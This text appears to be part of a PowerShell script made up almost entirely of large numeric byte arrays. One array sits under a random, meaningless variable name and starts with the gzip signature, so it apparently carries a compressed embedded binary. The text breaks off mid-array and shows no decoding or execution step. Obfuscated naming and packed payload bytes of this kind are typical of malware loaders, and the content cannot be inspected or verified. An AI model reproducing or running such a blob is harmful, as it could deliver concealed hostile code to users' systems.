9,219,209,47,204,231,250,16,111,90,218,48,180,252,211,128,3,152,92,45,159,222,230,48,253,48,90,70,120,67,78,177,55,238,225,24,75,231,196,122,62,230,248,209,122,54,121,160,109,98,55,189,155,207,194,237,124,5,49,206,187,173,149,15,164,1,104,129,2,91,31,180,50,201,9,118,15,159,203,70,56,29,107,128,56,123,56,253,219,207,1,100,23,244,217,135,94,187,209,191,29,83,26,194,4,41,129,143,178,47,138,177,181,146,125,83,8,59,6,142,187,89,84,218,167,13,232,53,201,137,9,237,147,81,78,165,251,121,23,82,170,188,23,180,78,83,211,139,119,210,9,117,152,79,72,19,236,178,170,217,255,82,6,121,24,44,40,115,160,109,222,202,185,102,35,88,210,165,92,12,11,214,193,238,115,148,111,175,118,129,29,89,92,43,11,190,128,97,247,177,184,11,172,237,86,190,253,153,134,176,213,188,110,237,156,57,77,241,57,66,199,15,229,182,147,232,217,12,155,150,103,154,221,124,238,232,199,248,81,190,102,136,241,150,53,180,236,164,220,150,220,143,80,55,11,145,53,0,46,19,98,140,247,85,28,181,3,44,251,52,106,122,249,208,25,227,51,71,64,136,52,50,205,49,163,142,78,96,115,192,166,185,181,40,136,177,187,13,128,50,192,53,6,221,222,46,71,202,143,113,76,157,92,90,155,209,197,217,226,12,143,35,156,38,38,86,165,182,218,176,140,227,32,224,48,75,23,3,45,194,210,31,22,194,61,200,78,61,192,25,109,0,35,137,180,14,190,12,213,241,17,110,63,7,143,32,184,77,74,137,74,91,12,202,16,31,176,195,208,26,5,182,41,244,141,242,191,169,123,49,244,118,137,240,138,19,208,250,73,140,75,17,30,92,23,175,237,225,91,4,242,176,181,156,0,76,242,17,229,56,152,212,49,189,135,233,11,156,220,118,114,130,63,4,213,147,223,13,242,115,194,232,63,206,23,187,49,126,202,131,158,89,63,203,199,94,63,248,134,56,161,222,129,229,63,206,158,135,234,105,188,122,90,4,149,254,1,192,74,136,72,215,96,81,60,223,34,42,133,37,183,18,79,175,88,131,79,0,83,8,162,206,114,201,16,140,161,147,211,145,22,24,96,135,56,0,9,130,124,72,208,57,214,208,93,197,1,212,6,121,145,116,190,65,62,192,7,115,82,33,45,93,92,140,176,106,72,101,58,240,3,66,46,196,1,44,220,6,200,78,215,57,34,119,59,47,194,12,90,120,153,235,148,16,229,116,200,160,251,51,29,237,227,160,215,225,179,13,159,62,236,167,30,152,198,16,39,43,20,161,189,144,191,146,75,97,111,131,153,123,177,136,237,124,83,198,180,44,57,215,41,46,143,192,232,134,217,96,14,131,251,52,36,219,192,243,133,161,158,55,192,243,154,48,204,183,203,48,145,64,106,155,130,72,162,205,60,140,40,73,239,229,213,26,226,185,7,151,208,99,124,164,236,224,13,144,74,167,35,2,109,215,40,214,38,65,47,34,122,27,155,140,212,83,162,38,191,143,29,192,178,246,53,109,172,213,41,142,221,67,172,197,57,62,136,198,249,122,70,231,28,130,210,185,212,17,72,202,100,175,164,76,131,124,140,161,77,64,253,19,244,173,123,56,125,165,92,137,34,143,206,114,197,13,30,113,214,71,136,199,142,243,193,144,230,25,75,25,47,110,104,251,48,234,104,11,37,106,108,164,65,225,223,195,201,107,140,237,190,143,111,241,219,248,226,111,63,223,242,31,229,247,21,173,124,149,177,23,246,123,156,67,63,93,33,141,115,166,121,140,147,225,65,208,38,248,202,184,129,221,218,32,7,36,35,16,23,245,242,70,165,109,74,43,26,103,13,241,118,93,55,187,194,154,189,60,195,40,199,211,40,91,167,180,91,145,214,203,123,54,64,78,32,139,174,19,201,242,246,64,39,176,197,140,163,188,247,252,204,87,84,236,225,107,169,8,223,30,14,242,78,109,227,227,238,56,95,140,65,162,141,67,204,39,192,210,120,69,21,62,83,44,197,44,32,185,155,234,192,99,140,239,133,49,118,239,9,78,111,170,57,28,212,97,214,213,98,61,56,182,227,89,3,168,134,221,52,209,90,65,163,60,120,61,48,58,18,85,99,228,102,174,111,227,139,147,70,184,36,11,184,53,242,113,174,131,121,72,110,141,156,248,180,254,159,184,53,224,167,22,193,167,150,219,80,207,122,227,144,180,62,209,122,61,31,190,233,174,220,228,38,219,214,243,156,40,118,214,16,183,162,78,182,94,233,244,67,124,60,247,179,23,32,107,161,127,100,66,58,103,47,31,149,187,33,159,200,111,99,27,151,190,166,155,173,90,231,160,96,212,59,77,235,21,54,186,240,16,185,43,61,152,160,127,95,195,73,9,222,28,7,172,70,190,0,164,61,32,210,58,249,82,56,198,116,90,19,131,158,209,102,200,69,54,66,193,207,207,185,7,89,70,170,183,19,105,116,37,56,43,67,144,51,158,24,97,42,201,181,104,128,123,76,177,189,141,161,45,173,56,249,23,145,59,192,59,39,206,225,113,92,242,200,111,225,121,6,65,161,179,82,148,111,164,69,126,55,31,173,227,204,53,132,58,25,200,6,146,129,55,109,7,207,152,206,17,194,118,128,188,239,186,3,76,209,217,131,47,247,28,109,134,62,73,50,104,125,235,235,217,171,41,81,82,30,233,71,39,249,138,25,186,42,152,100,207,21,49,210,182,228,138,94,72,158,218,222,39,255,92,123,214,30,78,125,194,28,69,40,53,32,143,41,121,146,38,103,13,137,68,198,49,35,218,4,57,224,14,25,107,152,216,125,89,109,60,78,140,181,11,221,100,81,184,158,96,95,23,98,47,71,248,122,174,77,245,87,150,220,229,156,160,163,29,179,137,21,136,242,149,223,2,251,7,90,33,47,75,74,218,160,119,169,94,97,38,71,94,94,71,47,191,71,141,176,46,55,8,177,62,200,39,187,57,195,191,188,94,127,180,222,211,205,51,247,179,93,79,162,110,118,73,66,229,229,107,224,56,167,63,82,243,19,41,126,74,250,175,73,110,231,131,175,164,87,59,107,137,235,121,116,181,50,200,45,91,249,197,226,49,190,24,148,214,54,99,36,71,148,180,108,230,93,127,146,214,198,192,233,237,21,227,235,124,104,21,224,68,137,230,56,199,90,156,4,127,47,207,52,194,163,158,15,126,56,71,116,248,216,207,199,177,183,47,48,32,186,202,150,48,237,164,149,189,54,161,150,158,77,198,179,89,136,237,23,191,167,238,91,47,254,176,245,158,159,30,179,253,101,247,15,62,38,28,95,57,126,96,164,168,254,185,107,233,239,90,96,223,90,20,45,83,213,114,156,248,76,170,244,207,246,104,57,25,248,184,85,173,212,166,104,46,128,249,138,166,40,90,137,162,57,236,90,126,78,145,37,231,173,86,33,114,50,108,194,98,201,201,32,208,205,160,27,96,169,141,192,82,27,24,185,172,128,92,84,157,207,213,249,132,43,168,40,193,199,65,8,21,74,166,75,88,149,146,156,210,156,10,247,106,110,183,150,170,74,24,124,43,129,153,86,7,6,163,194,141,2,172,29,96,13,44,31,128,130,79,9,62,142,66,8,182,222,146,159,83,227,202,105,40,201,201,200,113,102,150,218,114,154,51,51,51,109,66,41,44,204,4,159,194,76,7,6,42,44,114,102,211,76,183,46,126,104,131,101,241,109,43,126,35,35,241,171,35,177,4,49,73,75,252,222,217,5,94,243,23,239,47,240,26,95,169,223,74,255,68,13,126,46,240,182,205,133,232,43,186,91,195,129,185,120,212,31,186,192,155,248,34,198,176,126,56,16,222,58,190,105,147,191,97,162,161,177,166,185,174,62,80,221,212,156,99,25,86,50,140,223,183,144,223,142,177,64,104,37,147,132,182,56,73,126,167,211,14,66,97,182,219,167,9,181,208,169,56,73,111,133,212,168,208,161,104,78,69,43,84,11,46,183,170,154,187,131,86,32,211,41,44,180,74,153,238,142,76,161,88,220,29,249,57,221,106,78,111,78,147,226,242,170,142,108,119,71,118,206,110,135,29,96,102,118,137,195,146,175,121,21,130,52,94,217,76,187,87,81,168,45,150,136,84,151,153,233,176,210,63,108,227,184,227,162,177,203,220,79,185,54,107,194,146,179,39,103,20,15,247,176,123,24,138,108,166,63,74,99,23,170,163,48,231,18,135,198,98,42,144,210,226,116,66,205,238,97,250,107,35,139,86,250,139,40,22,170,181,148,228,4,168,81,38,219,73,169,45,211,234,165,63,73,178,157,10,250,195,57,86,47,173,183,215,146,153,169,121,81,93,106,35,121,232,9,94,33,140,22,68,47,244,213,4,87,50,11,23,151,14,46,53,46,51,156,224,34,237,20,230,93,130,143,162,250,240,212,114,222,154,230,85,64,53,108,216,43,114,222,106,243,2,202,228,210,197,101,6,151,14,116,114,216,124,12,249,96,172,154,123,113,17,253,231,33,154,131,90,91,114,230,72,84,23,21,105,104,75,31,23,62,212,27,18,128,53,164,195,88,176,63,42,29,104,167,100,162,158,230,102,81,168,72,167,34,131,100,152,255,255,218,187,154,216,54,142,43,188,92,145,222,37,37,109,205,101,210,40,1,21,76,136,164,182,3,47,255,73,145,129,236,84,150,101,84,64,228,216,245,95,123,8,130,21,185,180,136,242,47,252,177,226,52,1,180,4,114,108,129,2,189,244,80,32,61,244,208,67,129,246,224,67,81,24,69,143,61,20,112,128,20,104,14,5,26,20,61,26,65,14,61,244,224,182,223,123,179,187,252,137,108,217,40,138,160,128,215,214,206,238,206,155,247,222,188,191,89,14,57,111,34,66,1,122,186,108,131,152,129,191,24,254,150,195,39,169,238,36,215,113,226,22,74,233,18,230,45,133,104,143,161,48,165,57,10,211,206,66,97,218,74,40,76,91,110,133,41,9,76,152,119,241,132,238,204,17,73,5,5,221,68,204,17,187,20,221,224,108,104,92,144,40,169,92,150,197,146,44,84,89,44,202,34,70,189,255,49,177,171,235,33,222,182,72,81,94,164,124,164,87,213,175,223,232,219,189,139,221,78,176,172,2,246,219,221,31,132,160,188,80,252,224,67,128,171,12,30,225,253,77,150,66,138,150,131,143,192,83,48,48,132,148,23,210,23,183,174,6,235,89,79,251,142,68,155,61,1,185,241,76,80,229,101,138,161,117,45,199,169,141,8,106,68,49,194,251,68,157,10,41,47,231,171,149,98,182,146,207,91,165,115,149,162,149,203,157,207,90,231,206,23,206,89,217,236,70,118,179,154,203,109,110,85,202,180,189,41,177,118,87,247,183,151,162,150,165,82,126,45,191,145,205,90,197,252,230,57,139,32,173,74,174,80,162,150,120,90,60,119,174,82,66,56,142,134,148,48,175,77,82,22,52,14,93,186,129,11,21,186,48,15,254,8,189,195,46,163,218,130,121,240,177,121,240,39,21,58,53,15,62,229,243,95,34,130,45,29,170,48,116,177,0,115,6,228,51,154,110,232,171,230,193,23,58,254,204,131,127,152,7,255,92,53,150,196,2,120,123,16,119,67,113,55,66,14,96,172,46,144,197,233,26,204,26,112,228,157,33,106,67,157,48,221,231,163,66,5,136,17,119,87,97,101,186,142,199,168,94,86,201,228,146,43,81,32,131,42,77,247,21,226,194,61,181,40,194,176,5,215,138,187,57,53,138,107,211,173,38,117,125,73,68,204,83,112,31,221,116,207,36,201,171,221,45,178,111,213,92,13,107,64,137,75,221,60,5,59,208,1,67,49,131,64,37,245,29,178,136,228,146,134,113,1,161,214,189,172,75,91,74,30,87,201,103,245,184,251,93,192,147,103,234,134,22,134,143,61,27,119,109,248,147,249,62,192,189,81,132,156,37,161,28,63,46,189,245,69,229,89,211,109,162,8,199,80,23,21,10,183,72,40,154,215,18,14,146,80,136,183,4,41,32,73,114,119,219,26,188,213,125,103,149,164,101,186,35,3,61,72,162,212,21,186,139,187,31,68,21,8,192,141,187,31,26,73,5,76,254,32,238,254,200,96,42,168,198,127,239,210,125,238,33,131,199,34,69,82,11,60,160,233,194,177,132,146,56,4,230,57,17,3,64,34,148,80,19,11,137,112,34,146,56,150,208,18,122,34,170,105,8,213,230,193,125,232,253,249,69,12,61,36,138,21,56,36,194,65,146,237,226,126,148,220,203,253,69,220,253,229,11,90,204,116,127,109,172,154,238,29,40,226,142,233,254,198,116,239,194,78,76,247,247,28,132,13,238,236,29,86,228,31,224,247,4,200,145,208,96,115,118,63,230,14,83,187,240,49,180,132,93,224,12,187,248,20,145,216,48,188,32,148,36,235,193,195,191,75,253,221,215,180,240,74,252,100,148,100,6,162,35,210,26,106,191,128,222,99,234,113,13,120,30,152,227,144,57,142,152,227,168,193,246,60,14,241,57,194,231,40,212,159,52,0,172,170,136,107,43,184,88,81,143,193,100,80,207,248,199,241,8,15,40,0,94,77,32,78,133,204,245,104,48,16,197,53,221,188,108,22,87,205,157,21,115,39,25,223,50,43,154,212,216,214,50,89,230,248,121,115,135,198,169,164,46,84,136,21,194,37,111,195,221,130,174,83,27,16,75,26,75,154,70,42,120,139,98,63,203,103,252,18,139,36,73,1,252,45,234,178,1,83,5,127,241,177,69,55,36,5,133,174,9,180,42,121,164,2,245,27,203,26,201,250,1,119,246,89,30,127,224,115,11,171,230,53,221,188,22,33,113,95,131,241,197,183,104,20,142,111,197,183,34,154,74,20,208,39,247,46,27,222,93,242,76,42,84,178,121,213,160,33,144,240,111,131,62,30,171,224,28,242,143,143,47,107,124,143,177,1,109,199,215,8,216,32,254,41,64,232,38,201,252,178,57,182,205,177,99,142,155,52,192,177,118,199,35,89,220,102,185,127,176,200,126,141,139,248,216,5,94,2,211,117,54,32,217,150,27,66,48,99,71,94,44,33,250,194,202,116,250,211,73,95,232,90,88,138,141,109,43,121,12,61,141,176,171,39,48,210,105,52,30,106,228,181,129,195,194,80,116,162,66,14,79,156,243,128,20,90,164,247,187,69,10,107,139,203,116,194,216,17,90,132,124,113,29,163,170,24,85,197,168,42,70,85,49,89,181,76,85,203,134,174,169,192,194,218,64,215,161,74,142,33,159,145,246,201,66,227,227,159,196,199,63,93,132,64,222,95,69,208,196,40,204,194,190,204,231,207,192,15,119,26,225,70,67,137,98,73,22,203,178,136,202,98,81,22,199,100,17,67,65,225,217,189,204,111,14,208,195,251,42,58,203,151,132,76,11,179,36,35,82,26,242,213,98,241,107,172,18,210,205,248,103,92,77,1,118,20,31,255,124,9,34,164,10,126,174,40,173,123,147,156,106,63,164,107,161,28,122,28,220,59,236,233,219,155,221,254,214,187,14,175,4,229,247,74,199,225,101,186,116,252,251,21,69,124,243,112,100,79,143,255,193,161,114,254,70,1,85,209,78,55,151,104,163,143,153,67,190,54,84,14,121,78,199,220,195,0,126,239,33,240,180,225,253,71,127,85,148,79,212,73,205,240,111,138,242,231,165,201,253,39,42,109,254,115,93,185,162,188,141,243,22,255,14,118,91,121,83,185,136,123,250,70,250,130,194,27,53,40,119,195,159,255,75,226,245,243,15,202,242,117,15,143,255,100,250,56,207,207,174,243,199,245,11,222,199,251,96,2,8,199,203,220,234,42,79,209,208,244,72,107,122,58,143,143,95,133,139,156,233,254,10,79,99,202,169,128,47,99,58,206,48,217,224,31,77,14,209,86,72,47,176,124,54,121,26,196,159,158,24,120,152,83,83,117,61,166,63,53,241,225,29,175,50,140,79,239,60,127,200,175,49,31,189,57,62,105,239,96,125,10,118,110,146,73,161,61,121,211,128,73,131,183,52,243,86,230,220,152,219,193,36,78,135,167,19,38,28,76,79,154,5,19,178,56,190,193,60,189,193,19,193,54,255,6,185,235,125,37,77,83,197,244,139,174,105,222,39,112,82,202,117,158,246,32,125,124,47,144,132,162,156,101,94,222,244,112,52,61,94,252,190,116,142,228,73,202,114,118,82,105,94,150,69,150,207,44,204,188,148,230,101,84,225,54,27,222,84,17,253,14,163,197,19,60,71,181,251,252,183,191,91,127,253,221,118,75,220,242,222,249,83,248,92,144,18,142,151,10,228,76,106,52,108,88,149,212,235,103,99,235,182,183,244,64,180,237,78,179,225,12,134,215,103,154,0,73,103,0,248,126,231,181,65,109,207,105,219,3,171,237,175,251,180,106,221,246,107,246,160,157,190,149,75,157,141,9,17,224,242,127,247,63,67,158,62,150,164,4,101,99,58,147,218,185,61,181,20,62,109,247,122,169,12,35,24,246,71,3,94,148,248,152,116,243,76,23,13,7,222,92,130,188,197,131,190,243,206,8,157,113,234,148,147,177,217,114,110,58,131,199,196,89,72,249,72,128,230,37,203,18,215,54,54,197,142,39,28,225,45,19,12,32,248,216,110,136,219,221,145,216,183,59,67,49,236,138,218,158,221,185,233,136,225,158,35,188,133,16,130,150,17,139,141,26,175,250,17,222,92,132,104,57,183,156,150,232,203,44,111,12,62,139,54,232,67,144,88,233,13,110,209,233,214,29,177,223,28,238,137,110,199,17,221,6,55,109,116,91,173,46,39,118,137,77,216,127,24,6,73,250,76,202,30,200,53,235,253,148,24,53,229,10,196,51,169,134,221,26,56,41,145,57,251,248,120,168,190,217,119,56,93,2,173,23,161,213,65,255,37,202,189,230,205,61,212,111,220,178,155,45,90,212,123,56,186,25,129,93,233,57,181,102,227,54,100,240,80,209,57,50,49,39,164,215,106,137,122,147,211,205,9,202,85,38,236,78,29,173,228,106,23,113,75,46,235,107,190,39,13,116,86,47,114,133,40,132,222,28,4,248,154,108,1,125,97,79,204,90,120,66,25,72,200,89,148,80,87,95,80,154,149,125,187,95,159,181,166,218,116,38,166,116,80,101,89,143,33,188,39,81,235,122,230,16,31,241,220,41,51,237,79,235,153,192,45,89,224,235,51,28,30,237,85,179,29,242,98,5,69,139,137,172,2,158,200,223,54,4,101,186,241,237,218,247,32,47,148,144,52,237,161,20,233,180,176,247,236,129,216,117,156,142,24,114,143,224,25,211,66,37,229,162,65,221,161,180,105,168,133,147,242,236,6,57,81,90,92,67,88,108,179,26,137,32,176,246,187,189,126,211,30,58,190,122,7,243,184,124,166,216,140,236,209,176,219,182,57,55,13,194,232,128,23,95,49,166,118,23,221,240,123,15,19,115,38,11,24,211,172,207,233,94,251,40,175,163,239,246,148,182,169,114,125,48,234,245,186,125,244,235,205,43,98,187,126,38,245,125,39,159,205,229,138,165,53,43,87,42,150,173,98,161,86,178,236,82,195,177,178,217,74,221,113,156,66,189,208,200,126,64,202,126,24,153,181,35,73,20,74,185,66,101,183,106,91,165,122,21,36,26,187,117,171,226,228,235,150,157,47,22,179,249,124,169,81,45,216,143,36,81,57,146,68,209,206,55,242,21,167,96,149,10,187,85,171,88,44,230,172,93,187,90,179,234,229,106,189,104,23,237,178,83,168,60,154,68,58,119,36,145,92,163,188,86,174,173,149,173,74,214,201,89,197,124,161,106,85,75,187,187,86,165,80,207,54,202,245,108,221,94,123,52,145,92,246,72,26,21,39,219,88,179,115,121,107,183,177,91,128,172,156,138,5,201,149,172,98,165,81,47,101,237,92,201,174,206,201,106,61,51,103,254,235,153,25,63,145,158,70,108,108,119,234,50,195,128,111,249,206,140,225,195,172,207,95,218,182,108,4,18,25,196,216,38,59,221,33,220,97,222,52,81,192,248,119,111,7,93,3,62,142,179,125,223,192,129,106,144,14,170,189,197,173,146,208,5,90,186,41,47,79,222,184,116,225,212,52,23,192,212,159,167,54,203,85,189,203,60,117,28,48,224,19,131,23,118,123,136,157,157,9,69,94,182,63,139,89,46,150,166,160,62,63,53,153,46,75,145,72,36,192,198,81,97,32,179,19,156,22,131,189,238,168,53,161,134,240,215,165,74,150,224,9,153,195,214,35,203,84,191,5,65,156,239,53,55,208,137,111,35,78,188,7,28,39,124,100,196,234,9,68,65,231,4,8,17,130,38,135,250,116,141,211,188,5,206,60,29,210,158,240,109,99,125,95,178,226,231,86,8,236,173,14,150,88,138,30,190,189,225,176,247,90,38,227,161,76,7,40,193,75,59,115,101,103,59,147,207,102,75,153,27,179,216,82,103,137,249,245,140,143,236,108,44,26,13,48,119,48,60,60,1,246,92,249,203,216,47,81,198,88,206,52,114,61,127,90,76,238,38,20,137,8,83,109,117,59,55,105,37,243,147,118,234,48,178,178,83,51,24,253,1,236,16,113,206,185,92,224,96,210,20,72,171,109,56,25,13,204,190,53,210,176,0,77,214,228,251,218,64,26,50,167,140,27,192,7,60,160,239,92,226,231,45,184,104,255,148,23,41,8,47,21,117,135,82,251,226,181,219,123,49,13,30,12,253,21,191,129,158,231,223,157,167,134,156,225,237,30,222,153,247,41,191,122,106,234,177,247,42,61,157,128,157,83,95,108,50,215,150,247,150,57,152,110,18,188,143,151,229,151,105,211,117,61,127,129,250,70,191,182,215,164,12,6,244,37,91,234,213,25,152,217,111,218,82,229,18,66,105,185,152,43,22,107,181,70,174,222,152,134,109,225,37,120,100,223,156,69,145,241,245,115,168,32,38,143,165,192,216,173,160,182,0,68,121,122,252,255,29,247,20,133,166,91,62,202,126,213,140,60,61,190,138,227,63,80,96,36,4,0,200,0,0)
    
    
    
    
    
    
    
    
    [byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,236,189,9,124,99,85,245,56,126,95,246,164,105,218,151,116,73,219,180,201,48,11,157,173,36,233,150,14,48,51,77,147,182,233,222,52,109,211,194,48,147,173,105,218,108,77,210,141,165,116,16,16,20,144,197,47,34,160,95,54,5,17,21,148,85,217,69,144,205,239,160,172,202,248,69,89,4,69,129,239,23,1,17,202,255,156,251,94,210,164,203,128,226,239,243,223,204,204,59,239,158,115,207,57,247,220,115,207,189,247,220,151,165,221,163,23,18,33,33,68,4,215,39,159,16,114,39,225,94,123,201,167,191,22,225,82,233,127,172,34,183,202,159,220,112,39,211,245,228,6,215,120,40,105,136,39,98,193,132,39,98,240,121,162,209,88,202,224,13,24,18,211,81,67,40,106,176,245,14,24,34,49,127,160,38,63,95,177,137,215,209,103,39,164,139,17,146,138,183,110,240,164,245,190,68,84,76,30,35,35,228,251,128,72,56,218,247,159,4,96,160,149,156,117,88,22,112,118,19,178,124,39,6,134,210,241,37,36,123,207,34,164,144,254,95,190,103,110,244,117,0,244,118,114,141,146,175,10,214,234,37,67,148,159,193,23,171,94,96,159,44,11,149,1,222,158,133,215,164,2,115,41,184,223,250,61,142,151,246,117,69,251,64,62,80,147,72,38,124,132,183,13,108,164,29,189,57,151,111,47,252,175,73,4,194,49,96,84,242,54,83,93,183,174,226,179,174,52,243,194,39,185,123,59,109,94,76,94,236,37,228,109,47,213,128,151,228,137,31,18,114,105,233,103,234,49,125,41,200,54,162,49,138,201,47,56,121,214,114,21,20,150,148,2,98,71,131,208,35,39,195,101,193,144,99,69,219,88,162,17,225,128,145,106,5,180,213,244,252,39,159,124,178,133,226,150,39,161,72,88,166,100,73,84,178,196,104,132,150,49,180,111,97,31,244,191,250,54,96,45,29,209,48,150,45,216,32,75,4,44,179,176,31,43,238,130,138,243,192,1,204,194,1,68,239,1,84,67,44,69,168,238,135,160,206,114,8,193,217,8,14,2,96,25,170,228,107,216,80,2,218,140,3,239,229,72,23,238,186,30,110,56,38,188,89,205,104,150,165,17,25,161,111,82,34,227,220,203,90,74,104,223,132,92,223,78,130,203,133,109,141,160,164,32,1,93,140,83,189,11,30,180,230,1,206,26,112,45,89,240,35,1,28,47,1,203,199,176,252,20,86,138,57,79,200,161,188,235,70,234,9,84,100,249,79,52,248,82,44,93,4,160,68,35,160,61,98,161,215,23,132,74,71,150,4,232,31,145,165,5,25,254,128,172,118,234,148,101,87,85,157,80,58,82,234,62,63,31,252,162,97,184,94,209,38,218,104,175,142,199,30,11,74,221,160,246,59,88,20,237,18,211,62,80,7,65,35,208,80,213,104,213,130,23,181,253,12,196,180,11,62,44,62,10,197,43,45,63,69,46,241,54,141,81,68,234,9,206,55,104,184,128,84,67,136,74,10,152,106,80,36,57,4,93,170,88,8,162,200,51,128,46,140,99,233,5,40,125,11,43,20,22,52,71,178,13,64,133,81,73,58,228,52,188,89,234,135,37,21,152,65,168,131,9,177,99,188,156,7,151,14,46,108,202,242,69,236,101,249,174,47,97,217,68,253,180,29,193,239,101,212,71,85,89,253,188,159,246,243,118,128,106,225,82,49,184,65,96,65,253,219,212,130,67,42,140,169,101,227,66,88,58,140,67,81,166,46,91,152,64,236,119,72,159,196,210,171,80,58,173,18,74,150,110,104,131,173,170,88,18,105,202,45,243,232,241,183,16,208,232,47,129,128,154,132,234,133,64,122,132,43,169,227,55,31,58,26,8,11,97,164,190,129,42,179,70,157,147,36,11,48,201,68,130,5,232,168,98,65,148,6,37,6,128,50,90,44,82,11,212,194,88,61,138,148,91,94,23,163,95,138,137,93,133,110,7,153,89,136,192,16,176,249,160,107,219,96,201,252,24,232,63,4,252,1,168,219,143,193,9,180,39,225,26,3,193,89,184,90,160,108,89,194,176,93,0,21,162,68,1,196,105,117,62,78,172,210,243,37,24,41,21,108,69,137,90,120,74,57,84,158,7,28,204,53,108,197,66,20,141,126,7,7,79,136,44,90,3,46,54,150,57,232,125,137,38,223,114,140,144,142,72,5,106,254,31,40,47,192,236,16,129,138,50,184,177,138,24,12,146,4,67,181,220,18,6,187,146,96,131,226,228,67,44,78,214,204,0,176,162,133,8,150,255,12,101,206,34,33,90,164,205,88,148,46,234,88,93,137,240,26,86,87,170,63,238,60,33,53,78,183,134,125,18,75,41,120,99,33,142,212,191,1,181,124,137,225,12,120,29,250,189,80,156,101,157,188,202,173,86,148,171,153,216,78,206,189,231,8,211,22,18,182,64,95,237,214,20,88,254,34,206,144,44,53,160,214,144,159,9,176,217,37,156,171,184,79,89,194,80,4,31,188,1,140,150,195,226,207,208,205,162,229,206,97,143,42,74,89,137,190,207,205,119,170,34,6,117,10,174,51,121,52,76,254,65,77,174,181,52,41,45,61,96,229,231,118,61,168,175,115,31,193,251,82,75,185,96,217,139,50,253,214,175,106,228,22,135,136,198,200,46,168,225,28,118,236,199,224,48,89,137,65,0,155,197,55,45,125,96,24,89,80,115,35,131,161,199,202,98,27,184,33,25,194,125,111,161,40,107,208,84,172,218,205,86,178,149,23,132,96,224,182,114,92,199,103,6,142,149,178,138,244,120,99,78,35,100,37,58,247,194,20,218,248,49,242,22,90,110,198,37,92,166,223,1,138,74,221,223,52,200,209,156,155,62,66,3,10,115,12,128,198,36,91,44,131,200,173,42,225,85,102,237,89,243,31,225,242,18,3,104,153,65,21,247,224,154,168,225,184,242,50,49,50,64,185,28,31,209,240,56,3,164,45,179,24,155,154,172,254,72,217,60,3,49,18,162,223,27,219,140,22,170,44,231,125,66,217,239,1,31,25,100,25,85,50,170,106,233,239,208,224,126,168,177,236,162,179,184,32,219,230,106,37,181,217,192,53,55,12,12,150,111,209,200,108,194,0,165,145,100,25,199,210,190,35,71,194,234,152,42,208,23,101,98,170,58,47,51,216,69,22,57,218,170,90,72,162,168,152,1,243,75,12,10,108,102,20,236,228,71,68,98,248,0,40,56,153,98,208,172,225,71,104,118,12,249,255,10,122,206,167,122,100,150,183,48,32,88,182,144,174,174,223,251,59,237,128,17,77,221,188,148,86,148,27,5,66,86,185,60,254,132,219,21,46,194,253,27,221,98,249,205,135,84,195,201,224,9,3,238,33,150,199,62,76,171,249,87,204,128,234,35,205,128,82,203,247,48,3,42,111,186,12,26,54,72,177,245,46,52,71,91,156,14,204,167,160,127,196,114,242,135,56,138,220,248,156,142,35,250,35,4,239,99,167,127,193,245,231,105,228,120,244,67,92,103,89,203,239,63,249,135,199,172,112,173,117,64,99,17,224,116,99,53,92,106,80,105,249,53,215,152,28,35,107,9,91,84,99,73,138,99,32,213,168,178,242,161,179,255,134,17,120,234,223,112,174,176,57,115,165,146,27,134,75,160,3,107,172,187,58,204,160,254,65,211,149,107,153,174,182,252,125,9,157,161,48,208,100,229,189,15,160,185,236,160,128,245,156,45,41,95,14,139,115,96,248,133,108,17,91,89,130,203,197,66,2,27,100,32,72,45,55,210,0,107,218,136,189,205,199,8,206,231,44,165,89,52,11,235,2,248,59,250,49,13,33,28,43,220,141,33,49,41,38,150,211,161,201,244,226,118,120,241,125,244,7,221,197,193,130,10,220,233,83,216,132,28,154,88,152,198,82,62,150,102,176,196,98,179,148,245,112,3,218,110,3,217,213,217,194,150,245,178,5,145,229,234,247,113,208,170,192,180,42,203,12,148,213,130,165,98,204,99,104,188,115,227,243,139,247,208,158,135,222,195,124,181,89,199,165,23,239,194,117,63,196,224,173,176,144,52,18,122,172,98,48,79,103,193,161,98,204,101,237,12,159,106,161,75,241,186,28,174,221,112,189,135,153,26,225,147,177,5,64,68,149,151,211,84,97,17,211,53,139,27,55,83,60,136,85,11,208,84,121,186,84,13,156,219,23,113,129,179,252,130,225,5,43,120,65,41,82,235,115,5,243,50,130,2,20,196,237,217,242,91,146,195,34,201,176,8,145,165,48,195,130,186,203,47,167,19,118,17,153,184,185,111,134,1,229,164,11,80,90,156,46,97,126,186,125,17,23,76,154,91,103,53,32,202,52,32,70,22,204,140,44,63,70,22,108,64,203,55,128,76,150,47,165,155,213,231,241,228,124,36,223,12,204,213,32,38,177,156,204,228,152,158,159,209,44,65,205,152,235,89,134,144,69,152,97,81,102,88,164,200,82,146,105,124,89,139,52,195,34,67,22,156,123,150,163,211,150,148,241,134,96,63,233,254,84,66,23,78,254,60,133,203,103,150,38,89,70,147,28,53,225,150,75,131,187,116,215,71,31,163,12,150,45,239,124,204,119,189,132,31,55,148,183,108,204,12,10,117,171,34,227,86,5,106,194,105,200,53,134,130,165,188,77,216,75,203,237,105,170,94,193,147,177,203,150,219,50,100,57,79,198,80,176,252,50,237,247,42,158,138,13,89,126,149,166,234,120,42,118,132,46,77,37,77,86,180,220,98,1,184,45,49,133,231,174,89,52,173,24,38,92,233,249,121,244,244,3,231,201,196,155,121,36,126,13,20,22,230,176,182,12,106,23,81,31,221,29,74,154,150,232,230,250,46,166,1,132,108,89,208,66,77,209,18,3,7,148,114,90,222,70,58,150,192,97,75,48,179,151,228,2,66,151,164,149,180,98,122,162,169,33,72,164,54,110,171,34,213,183,224,157,167,161,219,225,204,36,33,12,67,231,33,107,169,166,199,28,134,59,71,130,47,73,29,186,159,238,159,120,54,178,44,208,163,133,200,242,23,236,125,53,223,99,129,192,189,48,143,125,168,100,232,201,146,197,37,75,196,10,47,8,29,71,87,197,61,120,200,129,131,224,201,200,179,1,121,132,220,26,126,28,174,17,23,209,83,209,23,233,145,15,214,18,254,20,126,44,38,24,51,180,42,140,135,26,170,232,14,122,40,102,69,151,195,89,101,51,54,34,46,194,99,225,194,169,168,120,43,40,78,73,113,73,63,13,209,157,116,85,77,155,201,138,23,78,34,252,49,20,219,150,184,23,78,65,124,51,10,105,113,72,4,150,239,211,99,53,25,165,46,162,107,140,0,39,0,119,52,220,70,126,191,76,63,164,206,61,174,45,96,201,132,43,235,233,88,170,199,161,196,86,121,73,28,191,173,89,227,183,149,142,95,30,156,85,247,50,220,154,120,168,8,27,131,8,82,196,96,92,20,139,219,48,8,247,158,95,76,151,96,23,234,84,32,121,59,206,128,197,29,20,238,68,72,23,233,197,26,212,189,120,12,133,